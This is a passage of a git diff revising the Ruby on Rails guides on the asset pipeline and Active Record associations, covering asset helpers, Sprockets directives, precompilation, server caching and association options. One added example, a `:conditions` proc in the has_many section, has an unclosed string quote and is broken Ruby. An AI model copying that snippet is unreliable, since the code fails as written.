classes: image, font, video, audio, JavaScript and stylesheet. +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -* +image_url("rails.png")+ becomes +url(/assets/rails.png)+. -* +image_path("rails.png")+ becomes +"/assets/rails.png"+. +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. The more generic form can also be used but the asset path and class must both be specified: -* +asset_url("rails.png", image)+ becomes +url(/assets/rails.png)+. -* +asset_path("rails.png", image)+ becomes +"/assets/rails.png"+. +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ h5. JavaScript/CoffeeScript and ERB If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: -<plain> +<erb> $('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); -</plain> +</erb> This writes the path to the particular asset being referenced. -Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. application.js.coffee.erb): +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (e.g., +application.js.coffee.erb+): <plain> -$('#logo').attr src: "<% asset_path('logo.png') %>" +$('#logo').attr src: "<%= asset_path('logo.png') %>" </plain> h4. Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. -For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: +For example, a new Rails application includes a default +app/assets/javascripts/application.js+ file which contains the following lines: <plain> +// ... //= require jquery //= require jquery_ujs //= require_tree . @@ -206,11 +269,13 @@ For example, in the default Rails application there's a +app/assets/javascripts/ In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. -NOTE. In Rails 3.1, the +jquery.js+ and +jquery_ujs.js+ files are located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem. +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. + +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the +require_directory+ directive which includes all JavaScript files only in the directory specified, without recursion. -The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. -There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: +Rails also creates a default +app/assets/stylesheets/application.css+ file which contains these lines: <plain> /* ... @@ -219,13 +284,15 @@ There's also a default +app/assets/stylesheets/application.css+ file which conta */ </plain> -The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. +The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The +require_tree+ directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory. -In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the top of any other CSS in this file unless +require_self+ is specified after another +require+ directive. +In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. + +NOTE. If you want to use multiple Sass files, you should generally use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. -For some assets (like CSS) the compiled order is important. You can specify individual files and they are compiled in the order specified: +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way: <plain> /* ... @@ -238,19 +305,19 @@ For some assets (like CSS) the compiled order is important. You can specify indi h4. Preprocessing -The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file. +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. -When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. +When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass+ gems and then sent back to the browser as JavaScript and CSS respectively. -Additional layers of pre-processing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript and served as JavaScript. +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, then CoffeeScript, and served as JavaScript. -Keep in mind that the order of these pre-processors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it is processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. h3. In Development -In development mode assets are served as separate files in the order they are specified in the manifest file. +In development mode, assets are served as separate files in the order they are specified in the manifest file. -This manifest +application.js+: +This manifest +app/assets/javascripts/application.js+: <plain> //= require core @@ -261,48 +328,45 @@ This manifest +application.js+: would generate this HTML: <html> -<script src='/assets/core.js?body=1'></script> -<script src='/assets/projects.js?body=1'></script> -<script src='/assets/tickets.js?body=1'></script> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> </html> The +body+ param is required by Sprockets. h4. Turning Debugging off -You can turn off debug mode by updating +development.rb+ to include: +You can turn off debug mode by updating +config/environments/development.rb+ to include: -<erb> +<ruby> config.assets.debug = false -</erb> +</ruby> -When debug mode is off Sprockets will concatenate and run the necessary preprocessors on all files, generating the following HTML: +When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: <html> -<script src='/assets/application.js'></script> +<script src="/assets/application.js" type="text/javascript"></script> </html> -Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (not-modified) response. +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. If any of the files in the manifest have changed between requests, the server responds with a new compiled file. -You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL to enable debug mode on-demand, and this will render individual tags for each file. This is useful for tracking down exact line numbers when debugging. - -Debug can also be set in the Rails helper methods: +Debug mode can also be enabled in the Rails helper methods: <erb> <%= stylesheet_link_tag "application", :debug => true %> <%= javascript_include_tag "application", :debug => true %> </erb> -The +:debug+ option is ignored if the debug mode is off. +The +:debug+ option is redundant if debug mode is on. You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. - h3. In Production -In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. +In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server. During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. @@ -320,7 +384,7 @@ generates something like this: <link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> </html> -The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which defaults to +true+ for production and +false+ for everything else). NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. @@ -328,9 +392,9 @@ h4. Precompiling Assets Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. -Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. +Compiled assets are written to the location specified in +config.assets.prefix+. By default, this is the +public/assets+ directory. -You must use this task either during deployment or locally if you do not have write access to your production filesystem. +You can call this task on the server during deployment to create compiled versions of your assets directly on the server. If you do not have write access to your production file system, you can call this task locally and then deploy the compiled assets. The rake task is: @@ -338,7 +402,16 @@ The rake task is: bundle exec rake assets:precompile </plain> -Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: +For faster asset precompiles, you can partially load your application by setting ++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to +Capfile+: <erb> load 'deploy/assets' @@ -350,10 +423,10 @@ It is important that this folder is shared between deployments so that remotely NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). -The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: +The default matcher for compiling files includes +application.js+, +application.css+ and all non-JS/CSS files (i.e., +.coffee+ and +.scss+ files are *not* automatically included as they compile to JS/CSS): <ruby> -[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] +[ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) }, /application.(css|js)$/ ] </ruby> If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: @@ -362,7 +435,7 @@ If you have other manifests or individual stylesheets and JavaScript files to in config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] </erb> -The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: <plain> --- @@ -381,20 +454,16 @@ This can be changed with the +config.assets.manifest+ option. A fully specified config.assets.manifest = '/path/to/some/other/location' </erb> -NOTE: If there are missing precompiled files in production you will get an <tt>AssetNoPrecompiledError</tt> exception indicating the name of the missing file(s). +NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). h5. Server Configuration -Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. +Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. For Apache: <plain> <LocationMatch "^/assets/.*$"> - # Some browsers still send conditional-GET requests if there's a - # Last-Modified header or an ETag header even if they haven't - # reached the expiry date sent in the Expires header. - Header unset Last-Modified Header unset ETag FileETag None # RFC says only cache for 1 year @@ -410,47 +479,34 @@ location ~ ^/assets/ { expires 1y; add_header Cache-Control public; - # Some browsers still send conditional-GET requests if there's a - # Last-Modified header or an ETag header even if they haven't - # reached the expiry date sent in the Expires header. - add_header Last-Modified ""; add_header ETag ""; break; } </plain> -When files are precompiled, Sprockets also creates a "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disk. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the +public/assets+ folder. The following configuration options can be used: +When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. -For Apache: - -<plain> -<LocationMatch "^/assets/.*$"> - # 2 lines to serve pre-gzipped version - RewriteCond %{REQUEST_FILENAME}.gz -s - RewriteRule ^(.+) $1.gz [L] -</LocationMatch> - -# without these, Content-Type will be "application/x-gzip" -<FilesMatch "^/assets/.*\.css.gz$"> - ForceType text/css -</FilesMatch> - -<FilesMatch "^/assets/.*\.js.gz$"> - ForceType text/javascript -</FilesMatch> -</plain> - -For nginx: +Nginx is able to do this automatically enabling +gzip_static+: <plain> location ~ ^/(assets)/ { root /path/to/public; gzip_static on; # to serve pre-gzipped version expires max; - add_header Cache-Control public; + add_header Cache-Control public; } </plain> +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: + +<plain> +./configure --with-http_gzip_static_module +</plain> + +If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. + +A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.) + h4. Live Compilation In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. @@ -465,9 +521,9 @@ On the first request the assets are compiled and cached as outlined in developme Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. -This mode uses more memory, performs poorer than the default and is not recommended. +This mode uses more memory, performs more poorly than the default and is not recommended. -When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: +If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: <plain> group :production do @@ -491,9 +547,9 @@ The +config.assets.compress+ must be set to +true+ to enable CSS compression. h4. JavaScript Compression -Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. +Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems, respectively. -The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. +The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your +if+ and +else+ statements to ternary operators where possible. The following line invokes +uglifier+ for JavaScript compression. @@ -501,13 +557,13 @@ The following line invokes +uglifier+ for JavaScript compression. config.assets.js_compressor = :uglifier </erb> -The +config.assets.compress+ must be set to +true+ to enable JavaScript compression +Note that +config.assets.compress+ must be set to +true+ to enable JavaScript compression -NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. +NOTE: You will need an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the "ExecJS":https://github.com/sstephenson/execjs#readme documentation for information on all of the supported JavaScript runtimes. h4. Using Your Own Compressor -The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. <erb> class Transformer @@ -517,7 +573,7 @@ class Transformer end </erb> -To enable this, pass a +new+ Object to the config option in +application.rb+: +To enable this, pass a +new+ object to the config option in +application.rb+: <erb> config.assets.css_compressor = Transformer.new @@ -534,20 +590,20 @@ This can be changed to something else: config.assets.prefix = "/some_other_path" </erb> -This is a handy option if you have any existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource. +This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource. h4. X-Sendfile Headers -The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. +The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. -Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>. +Apache and nginx support this option, which can be enabled in <tt>config/environments/production.rb</tt>. <erb> # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx </erb> -WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior. +WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ and any other environments you define with production behavior (not +application.rb+). h3. How Caching Works @@ -567,7 +623,7 @@ TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sproc h3. Upgrading from Old Versions of Rails -There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. +There are two issues when upgrading. The first is moving the files from +public/+ to the new locations. See "Asset Organization":#asset-organization above for guidance on the correct locations for different file types. The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. @@ -617,7 +673,7 @@ config.assets.digest = true # config.assets.precompile += %w( search.js ) </erb> -There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. +You should not need to change +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. The following should also be added to +Gemfile+: @@ -630,3 +686,22 @@ group :assets do gem 'uglifier' end </plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement: + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 version: + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index f5f0f9340c..a55ed38d1b 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -211,7 +211,7 @@ end h4. Choosing Between +belongs_to+ and +has_one+ -If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? +If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: @@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @customer = @order.create_customer(:customer_number => 123, @@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +belongs_to+ -In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Order < ActiveRecord::Base @@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i h6(#belongs_to-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Order < ActiveRecord::Base @@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @order.customer.nil? @@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @account = @supplier.create_account(:terms => "Net 30") @@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +has_one+ -In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Supplier < ActiveRecord::Base @@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will h6(#has_one-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Supplier < ActiveRecord::Base @@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei h6(#has_one-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_one-readonly). +:readonly+ @@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @supplier.account.nil? @@ -1120,7 +1120,7 @@ h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt> The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. <ruby> -@open_orders = @customer.orders.where(:open => 1) +@open_orders = @customer.orders.find(1) </ruby> h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt> @@ -1147,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @order = @customer.orders.create(:order_date => Time.now, @@ -1156,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_many+ -In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Customer < ActiveRecord::Base @@ -1229,22 +1229,20 @@ end If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. -If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes: +If you need to evaluate conditions dynamically at runtime, use a proc: <ruby> class Customer < ActiveRecord::Base has_many :latest_orders, :class_name => "Order", - :conditions => 'orders.created_at > #{10.hours.ago.to_s(:db).inspect}' + :conditions => proc { ["orders.created_at > ?, 10.hours.ago] } end </ruby> -Be sure to use single quotes. - h6(#has_many-counter_sql). +:counter_sql+ Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. -NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement. +NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting the +SELECT ... FROM+ clause of your +:finder_sql+ statement by +SELECT COUNT(*) FROM+. h6(#has_many-dependent). +:dependent+ @@ -1262,7 +1260,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Customer < ActiveRecord::Base @@ -1345,7 +1343,7 @@ end h6(#has_many-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_many-readonly). +:readonly+ @@ -1547,12 +1545,9 @@ h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)< The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection. <ruby> -@new_assemblies = @part.assemblies.all( - :conditions => ["created_at > ?", 2.days.ago]) +@assembly = @part.assemblies.find(1) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. - h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the 